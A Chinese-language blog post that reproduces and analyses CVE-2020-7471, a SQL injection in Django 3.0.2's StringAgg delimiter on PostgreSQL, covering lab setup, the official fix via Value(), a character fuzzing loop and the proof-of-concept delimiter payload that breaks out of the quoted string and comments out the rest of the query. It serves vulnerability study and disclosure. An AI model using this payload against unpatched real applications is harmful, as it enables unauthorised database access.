CVE-2020-7471漏洞复现及简单分析

  • 复现过程

  • 漏洞分析


CVE-2020-7471 Potential SQL injection via StringAgg(delimiter)这个漏洞出现有一个月了,当时就做了复现,但是由于知识水平有限并没有做太多的分析,最近想起来了,就结合大佬的文章重新学习了这个漏洞。


0x01 复现过程

1.测试环境

python 3.7.6

django 3.0.2

postgres 10.12-1

2. 安装 django

1
pip install django==3.0.2 -i https://pypi.tuna.tsinghua.edu.cn/simple

3. 安装 postgres

在Windows中安装postgres

4. 创建数据库

使用 SQL shell 登录到 postgres ,创建数据库

1
CREATE DATABASE test;

1

5. 修改配置

修改 sqlvul_projects/settings.py 里面的数据库配置

1
2
3
4
5
6
7
8
9
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.postgresql',
'NAME': 'test', # 数据库名称
'USER': 'postgres',
'PASSWORD': 'postgres', # 数据库用户密码
'HOST': '127.0.0.1', # 数据库地址
'PORT': '5432',
}

6. 初始化数据表

1
2
3
python3 manage.py migrate
python3 manage.py makemigrations vul_app
python3 manage.py migrate vul_app

2

3

7. 执行poc

4

执行后,可以看到数据库中出现了如下数据

5


0x02 漏洞分析

在 django 中,如果要使用查询操作,正确的写法如下

1
2
3
sql = "SELECT * FROM user_contacts WHERE username = %s"
user = 'test'
cursor.execute(sql, [user])

django 会根据你所使用的数据库服务器自动转义特殊的SQL参数。如果你的查询代码像下面这种写法就存在注入的风险

1
2
sql = "SELECT * FROM user_contacts WHERE username = %s" % 'zhugedali'
cursor.execute(sql)

回到漏洞本身,在 commit 中可以看到官方对漏洞的修复

https://github.com/django/django/commit/eb31d845323618d688ad429479c6dda973056136

6

漏洞函数位于如下模块中

1
from django.contrib.postgres.aggregates import StringAgg

官方对 delimiter 使用如下语句处理来防御 django

1
delimiter_expr = Value(str(delimiter))

从源码中,可以看到 Value() 函数的内容

1
2
3
4
5
6
7
8
9
10
11
12
class Value(Expression):
"""Represent a wrapped value as a node within an expression."""
def __init__(self, value, output_field=None):
"""
Arguments:
* value: the value this expression represents. The value will be
added into the sql parameter list and properly quoted.
* output_field: an instance of the model field type that this
expression will return, such as IntegerField() or CharField().
"""
super().__init__(output_field=output_field)
self.value = value

https://github.com/django/django/blob/aee0bebc2faf9c6de8211b05d5f1281dc016084f/django/db/models/expressions.py

注释写的非常清楚,Value()处理过的参数会被加到sql的参数列表里,之后会被 django 内置的过滤机制过滤,从而防范 SQL 漏洞。

在存在风险的版本中,poc是如何运作的呢。可以看到,在poc中使用了如下语句

1
2
results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter="-"))
results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter="-\') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- "))

该语句使用了 StringAgg 类,用于将输入的值使用 delimiter 分隔符级联起来,原本的语句中,查询 Info 对应的 postgres 数据表的 gender 列,并使用 - 来连接 name 列,那么通过修改 delimiter 的内容,就可以实现注入。

在poc作者的文章中,还写出了fuzz部分的代码

1
2
3
4
for c in "!@#$%^&*()_+=-|\\\"':;?/>.<,{}[]":
results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name',delimiter=c))
for e in results:
pass

当 delimiter 是单引号的时候会导致报错,命令在postgres中变成了

1
SELECT "vul_app_info"."gender", STRING_AGG("vul_app_info"."name", ''') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1

在三个单引号那里出现错误,而我们将 delimiter 设置为 ')-- 便可以成功的注释掉 FROM 语句,从而构造自己的payload。

1
'-\') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- '



参考

POC地址

CVE-2020-7471 漏洞详细分析原理以及POC

CVE-2020-7471 Django SQL注入漏洞复现



-------------本文结束感谢您的阅读-------------

本文标题:CVE-2020-7471漏洞复现及简单分析

文章作者:J2ck7a1 Ch33

发布时间:2020年03月10日 - 10:03

最后更新:2020年03月10日 - 10:03

原始链接:http://yoursite.com/CVE-2020-7471/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。


想喝快乐水